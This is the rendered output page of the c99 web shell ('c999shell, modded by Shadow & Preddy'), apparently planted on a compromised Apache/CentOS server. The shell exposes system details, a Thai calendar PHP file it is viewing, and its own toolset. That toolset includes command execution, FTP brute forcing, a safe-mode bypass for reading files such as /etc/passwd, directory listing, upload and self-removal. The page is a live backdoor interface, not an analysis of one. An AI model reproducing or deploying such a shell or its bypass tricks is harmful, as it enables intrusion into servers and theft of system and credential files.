!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/calendar/   drwxr-xr-x
Free 52.63 GB of 127.8 GB (41.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     cal_func.php (1.56 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
	$_month_name = array();
	$_month_name[1]         = "มกราคม";
	$_month_name[2]         = "กุมภาพันธ์";
	$_month_name[3]         = "มีนาคม";
	$_month_name[4]         = "เมษายน";
	$_month_name[5]         = "พฤษภาคม";
	$_month_name[6]         = "มิถุนายน";
	$_month_name[7]         = "กรกฏาคม";
	$_month_name[8]         = "สิงหาคม";
	$_month_name[9]         = "กันยายน";
	$_month_name[10]        = "ตุลาคม";
	$_month_name[11]        = "พฤศจิกายน";
	$_month_name[12]        = "ธันวาคม";	



	// when is now? ;-)
	$now = gmdate( "Y-m-d" );
	$curdate = split( "-", $now );


	$cur_year  = intval($curdate[0]);
	$cur_month = intval($curdate[1]);
	$cur_day   = intval($curdate[2]);
	
	if ( !empty( $_REQUEST[ "Y" ] ) )
	{
		$cal_year = $_REQUEST[ "Y" ];
	} else $cal_year = $cur_year;
	
	if ( !empty( $_REQUEST[ "m" ] ) )
	{	
		$cal_month = $_REQUEST[ "m" ];
	} else $cal_month = $cur_month;

	if ( !empty( $_REQUEST[ "d" ] ) )
	{	
		$cal_day = $_REQUEST[ "d" ];
	} else 
	{
	$cal_day = $cur_day;

	}
	// คำนวณเดือนและปีถัดไป
	$cal_next_year = $cal_year;
	if ( $cal_month < 12 )
	{
		$cal_next_month = $cal_month + 1;
	}
	else 
	{
		$cal_next_month = 1;
		$cal_next_year = $cal_year + 1;
	}
	
	// คำนวณเดือนและปีก่อนหน้า
	$cal_prev_year = $cal_year;
	if ( $cal_month > 1 )
	{
		$cal_prev_month = $cal_month - 1;
	} 
	else 
	{
		$cal_prev_month = 12;
		$cal_prev_year = $cal_year - 1;
	}

	function num_days( $year, $month )
	{
		$num = 31;
		while (!checkdate( $month, $num, $year ) ) { $num--; }
		return $num;	
	}
	
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0055 ]--